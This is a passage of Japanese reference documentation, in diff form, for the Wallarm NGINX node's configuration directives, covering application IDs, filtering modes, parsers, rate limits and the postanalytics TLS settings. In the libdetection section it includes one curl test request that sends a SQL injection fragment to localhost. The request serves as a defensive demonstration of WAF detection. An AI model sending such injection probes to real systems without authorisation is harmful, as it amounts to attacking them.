-api: - host: api.wallarm.com - port: 443 - ca_verify: true -``` - -[その他のパラメータ](configure-cloud-node-synchronization-en.md#access-parameters) - -### wallarm_application - -Wallarm Cloudで使用する保護対象アプリケーションの一意識別子です。値は`0`を除く正の整数にできます。 - -一意識別子はアプリケーションのドメインにもドメインパスにも設定できます。例: - -=== "ドメインの識別子" - ドメイン**example.com**の設定ファイル: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 1; - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - ドメイン**test.com**の設定ファイル: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 2; - location / { - proxy_pass http://test.com; - include proxy_params; - } - } - ``` -=== "ドメインパスの識別子" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - location /login { - proxy_pass http://example.com/login; - include proxy_params; - wallarm_application 3; - } - - location /users { - proxy_pass http://example.com/users; - include proxy_params; - wallarm_application 4; - } - } - ``` - -[アプリケーションの設定方法の詳細→](../user-guides/settings/applications.md) - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `-1`。 - -### wallarm_block_page - -ブロックされたリクエストへの応答内容を設定できます。 - -[ブロックページとエラーコードの設定の詳細→](configuration-guides/configure-block-page-and-code.md) - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - -### wallarm_block_page_add_dynamic_path - -このディレクティブは、コード内にNGINX変数を含むブロックページを初期化し、そのブロックページへのパスも変数で設定する場合に使用します。それ以外の場合は使用しません。 - -[ブロックページとエラーコードの設定の詳細→](configuration-guides/configure-block-page-and-code.md) - -!!! info - このディレクティブはNGINX設定ファイルの`http`ブロック内で設定できます。 - -### wallarm_cache_path - -サーバー起動時に、proton.dbおよびcustom rulesetファイルのコピーを保存するバックアップカタログが作成されるディレクトリです。このディレクトリはNGINXを実行するクライアントから書き込み可能である必要があります。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_custom_ruleset_path - -保護対象アプリケーションやフィルタリングノードの設定情報を含む[custom ruleset](../user-guides/rules/rules.md)ファイルへのパスです。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: - - * DockerのNGINXベースイメージ、クラウドイメージ、NGINX Nodeのall-in-oneインストーラーおよびNative Nodeインストール: `/opt/wallarm/etc/wallarm/custom_ruleset` - * その他のインストール成果物: `/etc/wallarm/custom_ruleset` - -### wallarm_enable_apifw - -このディレクティブは、リリース4.10以降で利用可能な[API Specification Enforcement](../api-specification-enforcement/overview.md)を`on`で有効化、`off`で無効化します。この機能を有効化しても、必要なサブスクリプションの契約およびWallarm Console UIでの設定に代わるものではない点にご注意ください。 - -!!! info - このパラメータは`server`ブロック内で設定できます。 - - デフォルト値: `on`。 - -### wallarm_enable_libdetection - -!!! info "その他のデプロイオプション" - このセクションは、NGINXの[all-in-oneインストーラー](../installation/inline/compute-instances/linux/all-in-one.md)および[Docker](../admin-en/installation-docker-en.md)インストールでの設定方法を説明します。他のデプロイオプションについては次をご参照ください: - - * [NGINX Ingress controller](../admin-en/configure-kubernetes-en.md#managing-libdetection-mode) - * [Sidecar](../installation/kubernetes/sidecar-proxy/pod-annotations.md#annotation-list)（`wallarm-enable-libdetection` Podアノテーション） - * [AWS Terraform](../installation/cloud-platforms/aws/terraform-module/overview.md#how-to-use-the-wallarm-aws-terraform-module)（`libdetection`変数） - -[**libdetection**](https://github.com/wallarm/libdetection)ライブラリによるSQLインジェクション攻撃の追加検証を有効/無効にします。**libdetection**を使用すると二重検知が行われ、誤検知を減らせます。 - -**libdetection**ライブラリでのリクエスト解析は、すべての[デプロイオプション](../installation/supported-deployment-options.md)でデフォルト有効です。誤検知を減らすため、有効のままにすることを推奨します。 - -追加検証を確認するには、保護対象リソースへ次のリクエストを送信します: - -```bash -curl "http://localhost/?id=1' UNION SELECT" -``` - -* [基本の検知セット](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)（ライブラリ**libproton**）は`UNION SELECT`をSQLインジェクション攻撃の兆候として検知します。`UNION SELECT`単体はSQLインジェクション攻撃の兆候ではないため、**libproton**は誤検知を起こします。 -* **libdetection**ライブラリでの解析が有効な場合、リクエスト内のSQLインジェクション攻撃の兆候は確認されません。リクエストは正当と見なされ、攻撃はWallarm Cloudへアップロードされず、（フィルタリングノードが`block`モードで動作していても）ブロックされません。 - -!!! warning "メモリ消費量の増加" - libdetectionライブラリを使って攻撃を解析すると、NGINXおよびWallarmプロセスが消費するメモリ量が約10%増加する場合があります。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値は、すべての[デプロイオプション](../installation/supported-deployment-options.md)で`on`です。 - -### wallarm_fallback - -値を`on`に設定すると、NGINXは緊急モードに入ることができます。proton.dbまたはcustom rulesetをダウンロードできない場合、この設定はデータのダウンロードに失敗したhttp、server、locationブロックについてWallarmモジュールを無効化します。NGINXは動作を継続します。 - -!!! info - デフォルト値は`on`です。 - - このパラメータはhttp、server、location各ブロック内で設定できます。 - -### wallarm_file_check_interval - -proton.dbおよびcustom rulesetファイルに新しいデータがあるかをチェックする間隔を定義します。単位は接尾辞で指定します: -* 接尾辞なし: 分 -* `s`: 秒 -* `ms`: ミリ秒 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - - デフォルト値: `1`（1分） - -### wallarm_general_ruleset_memory_limit - -proton.dbおよびcustom rulesetの1インスタンスが使用できる最大メモリ量の上限を設定します。 - -処理中にこのメモリ上限を超えると、ユーザーには500エラーが返されます。 - -このパラメータでは次の接尾辞を使用できます: -* `k`または`K`: キロバイト -* `m`または`M`: メガバイト -* `g`または`G`: ギガバイト - -値が**0**の場合、上限を無効化します。 - -!!! info - このパラメータはhttp、server、locationの各ブロック内で設定できます。 - - デフォルト値: `1` GB - -### wallarm_global_trainingset_path - -!!! warning "このディレクティブは非推奨です" - Wallarmノード3.6以降では、代わりに[`wallarm_protondb_path`](#wallarm_protondb_path)ディレクティブを使用してください。ディレクティブ名を変更するだけで、動作ロジックは変わりません。 - -### wallarm_http_v2_stream_max_len - -HTTP/2ストリームの最大許容長をバイト単位で設定します。指定値の半分に達すると、ストリームを穏やかに終了させるためにクライアントへHTTP/2の`GOAWAY`フレームを送信します。ストリームが閉じられず最大長に達した場合、NGINXは接続を強制終了します。 - -このオプションを設定しない場合、ストリーム長は無制限のままで、特に長時間接続のgRPC環境ではNGINXプロセスが無制限にメモリ消費する可能性があります。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - ディレクティブのデフォルト値はありません。デフォルトではHTTP/2ストリームの長さに制限はありません。 - -### wallarm_instance - -!!! warning "このディレクティブは非推奨です" - * このディレクティブを保護対象アプリケーションの一意識別子の設定に使用していた場合は、[`wallarm_application`](#wallarm_application)へ名称変更してください。 - * マルチテナントノードのテナントの一意識別子を設定する場合は、`wallarm_instance`の代わりに[`wallarm_partner_client_uuid`](#wallarm_partner_client_uuid)ディレクティブを使用してください。 - - バージョン4.0より前のフィルタリングノードで使用していた設定を更新する場合: - - * マルチテナンシー機能なしのフィルタリングノードへアップグレードし、保護対象アプリケーションの一意識別子に`wallarm_instance`を使用している場合は、`wallarm_application`へ名称変更してください。 - * マルチテナンシー機能ありのフィルタリングノードへアップグレードする場合、すべての`wallarm_instance`は`wallarm_application`と見なされます。その上で[マルチテナンシー再設定手順](../updating-migrating/older-versions/multi-tenant.md#step-3-reconfigure-multitenancy)に従って設定を書き換えてください。 - -### wallarm_key_path - -proton.dbおよびcustom rulesetファイルの暗号化/復号に使用するWallarmの秘密鍵へのパスです。 - -!!! info - デフォルト値: - - * DockerのNGINXベースイメージ、クラウドイメージ、NGINX Nodeのall-in-oneインストーラーおよびNative Nodeインストール: `/opt/wallarm/etc/wallarm/private.key` - * その他のインストール成果物: `/etc/wallarm/private.key` - - -### wallarm_local_trainingset_path - -!!! warning "このディレクティブは非推奨です" - Wallarmノード3.6以降では、代わりに[`wallarm_custom_ruleset_path`](#wallarm_custom_ruleset_path)ディレクティブを使用してください。ディレクティブ名を変更するだけで、動作ロジックは変わりません。 - -### wallarm_memlimit_debug - -このディレクティブは、メモリ上限超過時にリクエスト詳細を含む`/tmp/proton_last_memlimit.req`ファイルをWallarm NGINXモジュールが生成するかどうかを制御します。これはリクエストのメモリ上限処理に関する問題のデバッグに非常に役立ちます。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `on`。 - -### wallarm_mode - -トラフィック処理モード: - -* `off` -* `monitoring` -* `safe_blocking` -* `block` - ---8<-- "../include/wallarm-modes-description-5.0.md" - -`wallarm_mode`の適用は`wallarm_mode_allow_override`ディレクティブで制限できます。 - -[フィルタリングモード設定の詳細→](configure-wallarm-mode.md) - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値はフィルタリングノードのデプロイ方法に依存します（`off`または`monitoring`）。 - -### wallarm_mode_allow_override - -Wallarm Cloud（custom ruleset）からダウンロードされるフィルタリングルールによる[`wallarm_mode`](#wallarm_mode)の上書き可否を制御します。 - -- `off` - customルールを無視します。 -- `strict` - customルールは動作モードを強化する場合にのみ適用できます。 -- `on` - 動作モードの強化と緩和の両方が可能です。 - -例えば、`wallarm_mode monitoring`かつ`wallarm_mode_allow_override strict`の場合、Wallarm Consoleから一部リクエストのブロックを有効化できますが、攻撃解析を完全に無効化することはできません。 - -[フィルタリングモード設定の詳細→](configure-wallarm-mode.md) - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `on` - -### wallarm_parse_response - -アプリケーションのレスポンスを解析するかどうかを制御します。レスポンス解析は、[パッシブ検知](../about-wallarm/detecting-vulnerabilities.md#passive-detection)および[脅威リプレイテスト](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)での脆弱性検知に必要です。 - -値は`on`（レスポンス解析を有効化）または`off`（無効化）です。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `on` - -!!! warning "パフォーマンスの改善" - パフォーマンスを向上させるため、`location`で静的ファイルの処理を無効化することを推奨します。 - -### wallarm_parse_websocket - -WallarmはAPI Securityサブスクリプションプランの下でWebSocketを完全にサポートします。デフォルトでは、WebSocketのメッセージは攻撃解析が行われません。 - -この機能を有効化するには、API Securityサブスクリプションプランをアクティベートし、`wallarm_parse_websocket`ディレクティブを使用します。 - -指定可能な値: - -- `on`: メッセージ解析を有効化します。 -- `off`: メッセージ解析を無効化します。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `off` - -### wallarm_parser_disable - -パーサーを無効化できます。ディレクティブの値は無効化するパーサー名です: - -- `cookie` -- `zlib` -- `htmljs` -- `json` -- `multipart` -- `base64` -- `percent` -- `urlenc` -- `xml` -- `jwt` - -**例** - -``` -wallarm_parser_disable base64; -wallarm_parser_disable xml; -location /ab { - wallarm_parser_disable json; - wallarm_parser_disable base64; - proxy_pass http://example.com; -} -location /zy { - wallarm_parser_disable json; - proxy_pass http://example.com; -} -``` - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - -### wallarm_parse_html_response - -アプリケーションレスポンスで受信したHTMLコードにHTMLパーサーを適用するかどうかを制御します。値は`on`（HTMLパーサーを適用）または`off`（適用しない）です。 - -このパラメータは`wallarm_parse_response on`の場合にのみ有効です。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `on` - -### wallarm_partner_client_uuid - -[マルチテナント](../installation/multi-tenant/overview.md)Wallarmノードのテナントの一意識別子です。値は[UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier#Format)形式の文字列である必要があります。例: - -* `11111111-1111-1111-1111-111111111111` -* `123e4567-e89b-12d3-a456-426614174000` - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - 取得方法: - - * [テナント作成時にUUIDを取得→](../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api) - * [既存テナントのUUID一覧を取得→](../updating-migrating/older-versions/multi-tenant.md#get-uuids-of-your-tenants) - -設定例: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -上記の設定では: - -* Tenantはパートナーのクライアントを意味します。パートナーには2つのクライアントがあります。 -* `tenant1.com`および`tenant1-1.com`向けのトラフィックは、クライアント`11111111-1111-1111-1111-111111111111`に関連付けられます。 -* `tenant2.com`向けのトラフィックは、クライアント`22222222-2222-2222-2222-222222222222`に関連付けられます。 -* 1つ目のクライアントには、[`wallarm_application`](#wallarm_application)ディレクティブで指定された3つのアプリケーションもあります: - * `tenant1.com/login` – `wallarm_application 21` - * `tenant1.com/users` – `wallarm_application 22` - * `tenant1-1.com` – `wallarm_application 23` - - これら3つのパス向けのトラフィックは対応するアプリケーションに関連付けられ、それ以外は1つ目のクライアントの汎用トラフィックになります。 - -### wallarm_process_time_limit - -!!! warning "このディレクティブは非推奨です" - バージョン3.6以降では、[**Limit request processing time**](../user-guides/rules/configure-overlimit-res-detection.md)ルール（旧「Fine-tune the overlimit_res attack detection」）を使用して`overlimit_res`攻撃検知を詳細調整することを推奨します。 - - `wallarm_process_time_limit`ディレクティブは暫定的にサポートされていますが、今後のリリースで削除される予定です。 - -Wallarmノードによる単一リクエスト処理の時間上限を設定します。 - -時間が上限を超えると、ログにエラーが記録され、そのリクエストは[`overlimit_res`](../attacks-vulns-list.md#resource-overlimit)攻撃としてマークされます。[`wallarm_process_time_limit_block`](#wallarm_process_time_limit_block)の値に応じて、この攻撃はブロック、モニタリング、無視のいずれかになります。 - -値は単位なしのミリ秒で指定します。例: - -```bash -wallarm_process_time_limit 1200; # 1200ミリ秒 -wallarm_process_time_limit 2000; # 2000ミリ秒 -``` - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: 1000ms（1秒）。 - -### wallarm_process_time_limit_block - -!!! warning "このディレクティブは非推奨です" - バージョン3.6以降では、[**Limit request processing time**](../user-guides/rules/configure-overlimit-res-detection.md)ルール（旧「Fine-tune the overlimit_res attack detection」）を使用して`overlimit_res`攻撃検知を詳細調整することを推奨します。 - - `wallarm_process_time_limit_block`ディレクティブは暫定的にサポートされていますが、今後のリリースで削除される予定です。 - -[`wallarm_process_time_limit`](#wallarm_process_time_limit)ディレクティブで設定した時間上限を超えたリクエストのブロック動作を制御します: - -- `on`: `wallarm_mode off`でない限り常にリクエストをブロックします -- `off`: リクエストを常に無視します - - !!! warning "保護回避のリスク" - `off`値は`overlimit_res`攻撃からの保護を無効化するため、慎重に使用する必要があります。 - - 例えば大容量ファイルのアップロードを行い、保護回避や脆弱性悪用のリスクがない厳密に特定されたlocationのみで`off`を使用することを推奨します。 - - httpやserverブロックに対してグローバルに`wallarm_process_time_limit_block`を`off`に設定することは**強く推奨しません**。 - -- `attack`: `wallarm_mode`ディレクティブで設定した攻撃ブロックモードに依存します: - - `off`: リクエストは処理されません。 - - `monitoring`: リクエストは無視されますが、`overlimit_res`攻撃の詳細はWallarm Cloudへアップロードされ、Wallarm Consoleに表示されます。 - - `safe_blocking`: [graylisted](../user-guides/ip-lists/overview.md)IPアドレスからのリクエストのみブロックされ、すべての`overlimit_res`攻撃の詳細はWallarm Cloudへアップロードされ、Wallarm Consoleに表示されます。 - - `block`: リクエストはブロックされます。 - -ディレクティブの値に関係なく、[`wallarm_mode off;`](#wallarm_mode)の場合を除き、`overlimit_res`攻撃タイプのリクエストはWallarm Cloudへアップロードされます。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `wallarm_process_time_limit_block attack` - -### wallarm_proton_log_mask_master - -NGINXマスタープロセスのデバッグログ設定です。 - -!!! warning "ディレクティブの使用について" - このディレクティブの設定は、Wallarmサポートチームのメンバーから指示があった場合にのみ必要です。使用する値はサポートから提供されます。 - -!!! info - このパラメータはmainレベルでのみ設定できます。 - - -### wallarm_proton_log_mask_worker - -NGINXワーカープロセスのデバッグログ設定です。 - -!!! warning "ディレクティブの使用について" - このディレクティブの設定は、Wallarmサポートチームのメンバーから指示があった場合にのみ必要です。使用する値はサポートから提供されます。 - -!!! info - このパラメータはmainレベルでのみ設定できます。 - -### wallarm_protondb_path - -リクエストフィルタリングのグローバル設定を保持する[proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)ファイルへのパスです。アプリケーション構造に依存しない設定です。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: - - * DockerのNGINXベースイメージ、クラウドイメージ、NGINX Nodeのall-in-oneインストーラーおよびNative Nodeインストール: `/opt/wallarm/etc/wallarm/proton.db` - * その他のインストール成果物: `/etc/wallarm/proton.db` - -### wallarm_rate_limit - -次の形式でレート制限の設定を行います: - -``` -wallarm_rate_limit rate= burst= delay=; -``` - -* `KEY_TO_MEASURE_LIMITS_FOR` - 制限を測定したいキーです。文字列、[NGINX変数](http://nginx.org/en/docs/varindex.html)、およびその組み合わせを含められます。 - - 例: `"$remote_addr +login"` は、同一IPから`/login`エンドポイントへのリクエストを制限します。 -* `rate=`（必須） - レート制限です。`rate=r/s`または`rate=r/m`を指定します。 -* `burst=`（任意） - 指定したRPS/RPMを超過した際に一度にバッファリングする超過リクエストの最大数で、レートが正常に戻ったときに処理されます。デフォルトは`0`です。 -* `delay=` - ``が`0`以外の場合、バッファリングされた超過リクエストの実行間で定義したRPS/RPMを維持するかを制御します。`nodelay`はすべてのバッファ済み超過リクエストをレート制限の遅延なしに同時処理することを意味します。数値を指定すると、その数の超過リクエストを同時処理し、残りはRPS/RPMの遅延で処理します。 - -例: - -``` -wallarm_rate_limit "$remote_addr +location_name" rate=10r/s burst=9 delay=5; -``` - -!!! info - デフォルト値: なし。 - - このパラメータはhttp、server、locationコンテキスト内で設定できます。 - - [レート制限](../user-guides/rules/rate-limiting.md)ルールを設定した場合、`wallarm_rate_limit`ディレクティブの優先度は低くなります。 - -### wallarm_rate_limit_enabled - -Wallarmのレート制限を有効/無効にします。 - -`off`の場合、[レート制限ルール](../user-guides/rules/rate-limiting.md)（推奨）も`wallarm_rate_limit`ディレクティブも動作しません。 - -!!! info - デフォルト値: `on`ですが、[レート制限ルール](../user-guides/rules/rate-limiting.md)（推奨）または`wallarm_rate_limit`ディレクティブのいずれかを設定しない限り、Wallarmのレート制限は動作しません。 - - このパラメータはhttp、server、locationコンテキスト内で設定できます。 - -### wallarm_rate_limit_log_level - -レート制限により拒否されたリクエストのログレベルです。指定可能な値: `info`、`notice`、`warn`、`error`。 - -!!! info - デフォルト値: `error`。 - - このパラメータはhttp、server、locationコンテキスト内で設定できます。 - -### wallarm_rate_limit_status_code - -Wallarmのレート制限モジュールによって拒否されたリクエストに対して返すコードです。 - -!!! info - デフォルト値: `503`。 - - このパラメータはhttp、server、locationコンテキスト内で設定できます。 - -### wallarm_rate_limit_shm_size - -Wallarmレート制限モジュールが消費できる共有メモリの最大量を設定します。 - -平均キー長が64バイト（文字）で`wallarm_rate_limit_shm_size`が64MBの場合、このモジュールは約130,000個の一意キーを同時に処理できます。メモリを2倍にすると、モジュールの容量も線形に2倍になります。 - -キーとは、モジュールが制限を測定する際に使用するリクエストの一意値です。例えば、IPアドレスに基づいて接続を制限する場合、各一意のIPアドレスが1つのキーと見なされます。デフォルトのディレクティブ値では、約130,000個の異なるIPからのリクエストを同時に処理できます。 - -!!! info - デフォルト値: `64m`（64 MB）。 - - このパラメータはhttpコンテキスト内でのみ設定できます。 - -### wallarm_request_chunk_size - -1回のイテレーションで処理するリクエストの部分のサイズを制限します。`wallarm_request_chunk_size`ディレクティブにはバイト単位の整数値を設定できます。次の接尾辞もサポートします: -* `k`または`K`: キロバイト -* `m`または`M`: メガバイト -* `g`または`G`: ギガバイト - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - デフォルト値: `8k`（8キロバイト）。 - -### wallarm_request_memory_limit - -単一リクエストの処理に使用できる最大メモリ量の上限を設定します。 - -上限を超えると、リクエスト処理は中断され、ユーザーには500エラーが返されます。 - -このパラメータでは次の接尾辞を使用できます: -* `k`または`K`: キロバイト -* `m`または`M`: メガバイト -* `g`または`G`: ギガバイト - -値が`0`の場合、上限を無効化します。 - -デフォルトでは上限は無効です。 - -!!! info - このパラメータはhttp、server、locationの各ブロック内で設定できます。 - -### wallarm_srv_include - -[API Specification Enforcement](../api-specification-enforcement/overview.md)用の設定ファイルへのパスを指定します。このファイルはデフォルトで全てのデプロイメント成果物に含まれており、通常は変更不要です。 - -ただし、[カスタム`nginx.conf`を使用したNGINXベースのDockerイメージ](installation-docker-en.md#run-the-container-mounting-the-configuration-file)を使う場合は、このディレクティブを指定し、ファイルを指定したパスに配置する必要があります。 - -このディレクティブはリリース4.10.7以降で利用可能です。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - - デフォルト値: `/etc/nginx/wallarm-apifw-loc.conf;`。 - -### wallarm_stalled_worker_timeout - -NGINXワーカーが単一リクエストを処理する時間上限を秒で設定します。 - -時間が上限を超えると、NGINXワーカーに関するデータが`stalled_workers_count`および`stalled_workers`[統計](configure-statistics-service.md#usage)パラメータに書き込まれます。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - - デフォルト値: `5`（5秒） - -### wallarm_status - -[Wallarm統計サービス](configure-statistics-service.md)の動作を制御します。 - -ディレクティブの値の形式は次のとおりです: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -統計サービスの設定は専用のファイルで行い、他のNGINX設定ファイルには`wallarm_status`ディレクティブを記述しないことを強く推奨します。後者は安全でない可能性があるためです。`wallarm-status`の設定ファイルは次の場所にあります: - -* all-in-oneインストーラー: `/etc/nginx/wallarm-status.conf` -* その他のインストール: `/etc/nginx/conf.d/wallarm-status.conf` - -また、デフォルトの`wallarm-status`設定の既存行は変更しないことを強く推奨します。変更すると、Wallarm Cloudへのメトリクスデータのアップロード処理が破損する可能性があるためです。 - -!!! info - このディレクティブはNGINXの`server`および`location`コンテキストで設定できます。 - - `format`パラメータのデフォルト値は`json`です。 - -### wallarm_tarantool_upstream - -!!! warning "`wallarm_tarantool_upstream`を`wallarm_wstore_upstream`へ名称変更" - NGINX Nodeバージョン6.x以降では、このパラメータは[`wallarm_wstore_upstream`](#wallarm_wstore_upstream)に[名称変更](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)され、動作ロジックの変更はありません。 - - 後方互換性は維持されますが、非推奨の警告が出力されます。将来のリリースで旧ディレクティブが削除された際のエラーを避けるため、名称変更を推奨します。警告例: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - -### wallarm_timeslice - -フィルタリングノードがリクエストの1回のイテレーション処理に費やす時間上限です。上限に達すると、ノードはキュー内の次のリクエスト処理に進みます。キュー内の各リクエストに対して1回のイテレーションを行った後、最初のリクエストに対する2回目のイテレーションを実行します。 - -このディレクティブに異なる時間単位の値を割り当てるには、[NGINXドキュメント](https://nginx.org/en/docs/syntax.html)で説明されている時間間隔の接尾辞を使用できます。 - -!!! info - このパラメータはhttp、server、location各ブロック内で設定できます。 - デフォルト値: `0`（単一イテレーションの時間制限を無効化）。 - ------ - -!!! warning - NGINXサーバーの制限により、`wallarm_timeslice`ディレクティブを機能させるには、NGINXの`proxy_request_buffering`ディレクティブに`off`を設定してリクエストのバッファリングを無効化する必要があります。 - -### wallarm_ts_request_memory_limit - -!!! warning "このディレクティブは非推奨です" - Wallarmノード4.0以降では、代わりに[`wallarm_general_ruleset_memory_limit`](#wallarm_general_ruleset_memory_limit)ディレクティブを使用してください。ディレクティブ名を変更するだけで、動作ロジックは変わりません。 - -### wallarm_unpack_response - -アプリケーションレスポンスで返される圧縮データを伸長するかどうかを制御します。値は`on`（伸長を有効化）または`off`（無効化）です。 - -このパラメータは`wallarm_parse_response on`の場合にのみ有効です。 - -!!! info - デフォルト値: `on`。 - -### wallarm_upstream_backend - -シリアライズ済みリクエストの送信先を指定します。リクエストはwstoreまたはAPIのいずれかへ送信できます。 - -ディレクティブの指定可能な値: -* `wstore` -* `api` - -他のディレクティブの有無に応じて、デフォルト値は次のように決まります: -* 設定に`wallarm_api_conf`ディレクティブがない場合: `wstore` -* `wallarm_api_conf`ディレクティブがあり、`wallarm_wstore_upstream`ディレクティブがない場合: `api` - - !!! note - `wallarm_api_conf`と`wallarm_wstore_upstream`ディレクティブが同時に設定されている場合、「directive ambiguous wallarm upstream backend」という形式の設定エラーが発生します。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_upstream_connect_attempts - -wstoreまたはWallarm APIへの即時再接続回数を定義します。 -wstoreまたはAPIへの接続が切断された場合、その接続に対する再接続は行いません。ただし、接続が1つも残っておらず、シリアライズ済みリクエストのキューが空でない場合は、この限りではありません。 - -!!! note - 再接続は別のサーバーを経由して行われる場合があります。サーバーの選択は“upstream”サブシステムが担当するためです。 - - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_upstream_reconnect_interval - -`wallarm_upstream_connect_attempts`の閾値を超える回数だけ接続に失敗した後、wstoreまたはWallarm APIへ再接続を試みる間隔を定義します。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_upstream_connect_timeout - -wstoreまたはWallarm APIへの接続タイムアウトを定義します。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_upstream_queue_limit - -シリアライズ済みリクエストの件数上限を定義します。 -`wallarm_upstream_queue_limit`を設定し、`wallarm_upstream_queue_memory_limit`を未設定にした場合、後者には上限がなくなります。 - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_upstream_queue_memory_limit - -シリアライズ済みリクエストの総量上限を定義します。 -`wallarm_upstream_queue_memory_limit`を設定し、`wallarm_upstream_queue_limit`を未設定にした場合、後者には上限がなくなります。 - -!!! info - デフォルト値: `100m`。 - - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_wstore_upstream - -NGINX-Wallarmモジュールを[別サーバーのpostanalyticsモジュール](installation-postanalytics-en.md)へ接続する方法（postanalyticsサーバーのupstreamおよびSSL/TLS接続設定）を定義します。 - -構文: - -``` -wallarm_wstore_upstream ssl=on|off skip_host_check=on|off insecure=on|off; -``` - -* `` - postanalyticsモジュールのアドレスを指すupstreamブロック名です。 -* `ssl`（リリース6.2.0以降で利用可能） — [postanalyticsモジュールへの接続のSSL/TLS](installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module)を有効/無効にします。指定可能な値: `on`または`off`。 - - デフォルトは`off`です。 - - `on`に設定する場合は、次も設定する必要があります: - - * [`wallarm_wstore_ssl_cert_file`](#wallarm_wstore_ssl_cert_file) - * [`wallarm_wstore_ssl_key_file`](#wallarm_wstore_ssl_key_file) - * [`wallarm_wstore_ssl_ca_cert_file`](#wallarm_wstore_ssl_ca_cert_file) -* `skip_host_check`（リリース6.2.0以降で利用可能、`ssl=on`時のみ） - TLSハンドシェイク中のホスト名検証をスキップします。 - - localhostやIPアドレスへ、CN（Common Name）の一致しない証明書で接続する場合に有用です。本番環境では推奨しません。 -* `insecure`（リリース6.2.0以降で利用可能、`ssl=on`時のみ） - 証明書の完全な検証（CAおよびホスト名チェックを含む）を無効化します。 - - 自己署名や一時的な証明書を使用する開発・テスト環境でのみ使用してください。 - -例: - -``` -upstream wallarm_wstore { - server 1.1.1.1:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; -} - -# omitted - -wallarm_wstore_upstream wallarm_wstore ssl=on; -``` - -!!! info "postanalytics用のupstream設定" - `wallarm_wstore_upstream`ディレクティブで参照するpostanalyticsモジュール用の`upstream`ブロックでは、次の[標準のupstream設定](https://nginx.org/en/docs/http/ngx_http_upstream_module.html)を構成できます: - - * postanalyticsモジュールのIPアドレスとポート - * `max_fails` - * `fail_timeout` - * `max_conns` - 不要な接続の生成を防ぐため、各upstreamのwstoreサーバーに対して指定する必要があります - * `keepalive` - wstoreサーバー数未満にしてはいけません - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_wstore_ssl_cert_file - -NGINX-WallarmモジュールがpostanalyticsモジュールへのSSL/TLS接続を確立する際に自らを認証するためのクライアント証明書のパスを指定します。 - -NGINX-Wallarmとpostanalyticsモジュールを別サーバーにインストールし、[相互TLS（mTLS）](installation-postanalytics-en.md#mutual-tls-mtls)を有効にしている場合に必要です。 - -このディレクティブはリリース6.2.0以降で利用可能です。 - -``` -wallarm_wstore_ssl_cert_file /path/to/client.crt; -``` - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### wallarm_wstore_ssl_key_file - -[`wallarm_wstore_ssl_cert_file`](#wallarm_wstore_ssl_cert_file)で指定したクライアント証明書に対応する秘密鍵のパスを指定します。 - -NGINX-Wallarmとpostanalyticsモジュールを別サーバーにインストールし、[相互TLS（mTLS）](installation-postanalytics-en.md#mutual-tls-mtls)を有効にしている場合に必要です。 - -このディレクティブはリリース6.2.0以降で利用可能です。 - -``` -wallarm_wstore_ssl_key_file /path/to/client.key; -``` - -!!! info - このパラメータはhttpブロック内でのみ設定します。 - -### 